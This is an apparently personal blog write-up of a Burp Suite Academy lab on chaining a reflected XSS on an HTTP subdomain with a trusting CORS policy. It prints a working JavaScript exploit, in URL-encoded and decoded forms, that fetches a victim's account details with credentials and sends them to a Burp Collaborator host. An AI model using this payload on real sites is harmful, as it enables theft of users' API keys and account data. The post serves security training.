Hi, I'm Eval

Reading my blog == probably NGMI


Exploiting XSS via CORS trust relationships

Published January 9, 2020

Continuing the Burp Suite Academy series. Today, we will go through CORS exploitations exercises…

The web application is the same online store which allows a user to log-in, change his e-mail address and retrieve his API key. This time around, the server only trusts requests originating from subdomains of the app.

GET /api/requestApiKey HTTP/1.1
Host: <instanceId>.web-security-academy.net
Origin: https://subdomain.<instanceId>.web-security-academy.net
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.<instanceId>.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json
X-XSS-Protection: 0
Connection: close
Content-Length: 89

{
  "username": "******",
  "email": "",
  "apikey": "********************************"
}

Further testing reveals that the server is configured to accept any protocol as long as the request comes from a subdomain of the main application <instanceId>.web-security-academy.net.

This version of the application has a new function which allows a user to check the remaining stock of a given item. The request looks like this:

GET /?productId=1&storeId=1 HTTP/1.1
Host: stock.<instanceId>.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: ...
Accept: ...
Accept-Encoding: ...
Accept-Language: ...
Connection: close

The paramater productId is not validated nor sanitized, and is vulnerable to reflected Cross-site Scripting.

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8
Set-Cookie: session=5t8SM9hnfSxy91QpvWQ4o7rPMK8pg05H; Secure; HttpOnly
X-XSS-Protection: 0
Connection: close
Content-Length: 76

<h4>ERROR</h4>Invalid product ID: <script>alert("document.domain");</script>

Since the stock.<...> subdomain is running on HTTP (not HTTPs), the session cookies will never be transmitted to the browser. Therefore, our XSS will not be able to retrieve any of those. Right now, the impact of the vulnerability seems quite limited. Except, it is not !

We saw earlier that the server is configured to pass session cookies for any (cross-origin) request coming from a subdomain of the app, regardless of the protocol.

Access-Control-Allow-Origin: <protocol>://subdomain.<instanceId>.web-security-academy.net
Access-Control-Allow-Credentials: true

Therefore, it is possible for us to leverage this CORS (mis)configuration to bypass the limitations of Same Origin Policy (SOP) and retrieve the API key with a cross-origin request. Consider the following attack scenario:

  1. Attacker hosts a malicious file in a server of his control
  2. Attacker send a link to his exploit to Victim (who is already logged-in the main app)
  3. Victim accesses the link and is redirected to stock.<instanceId>.web-security-academy.net
  4. Victim’s browser triggers the rXSS payload when rendering the page
  5. Victim’s browser requests his apikey on the main app. At this point, the Origin of this request will be a trusted subdomain with protocol http. Therefore the server CORS config will allow the request to go through
  6. Victim’s browser sends the apikey to the Attacker’s server
  7. Et voilĂ  !

This the the payload I used to solve the corresponding exercise in BS Academy. It follows the aforementioned steps one-by-one. You can use the exploit server provided in the lab and conveniently force the Victim to visit it. In reality, the last part would require a little bit of social-engineering :-).

<script>
let burpInstanceUrl = "<Your generated instance URL>";
/* We URL-encode our payload to prevent any hiccups when the browser will attempt render and execute the reflected XSS */
let xssPayload = "%3c%73%63%72%69%70%74%3e%6c%65%74%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%78%68%72%2e%6f%70%65%6e%28%22%47%45%54%22%2c%22%68%74%74%70%73%3a%2f%2f%61%63%65%35%31%66%63%39%31%65%65%32%36%32%65%33%38%30%62%32%35%31%38%65%30%30%62%63%30%30%64%31%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%22%2c%74%72%75%65%29%3b%78%68%72%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%3d%74%72%75%65%3b%78%68%72%2e%6f%6e%6c%6f%61%64%3d%72%65%71%4c%69%73%74%65%6e%65%72%3b%78%68%72%2e%73%65%6e%64%28%29%3b%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%7b%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%74%64%61%6b%67%35%66%79%6b%78%62%38%72%6b%64%70%62%32%63%70%69%6b%61%6c%6a%63%70%36%64%76%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%3f%22%2b%74%68%69%73%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%7d%3c%2f%73%63%72%69%70%74%3e";
/* Step 2: Leverage the reflected XSS vulnerability in the subdomain to make an AJAX call and recover the victim's API key */
let trustedUrl = `http://stock.${burpInstanceUrl}.web-security-academy.net/?productId=${xssPayload}&storeId=1`;
/*  Step 1: Redirect the victim to the subdomain whitelisted in CORS configuration */
document.location = trustedUrl;
</script>
<!-- Decoded xssPayload -->
<script>
  let xhr = new XMLHttpRequest();
  xhr.open(
    "GET",
    "https://${your_instance_url}.web-security-academy.net/accountDetails",
    true
  );
  xhr.withCredentials = true;
  xhr.onload = reqListener;
  xhr.send();
  function reqListener() {
    location =
      "http://subdomain.burpcollaborator.net/?" +
      this.responseText;
  }
</script>

Tags: #cors,#burp-suite-academy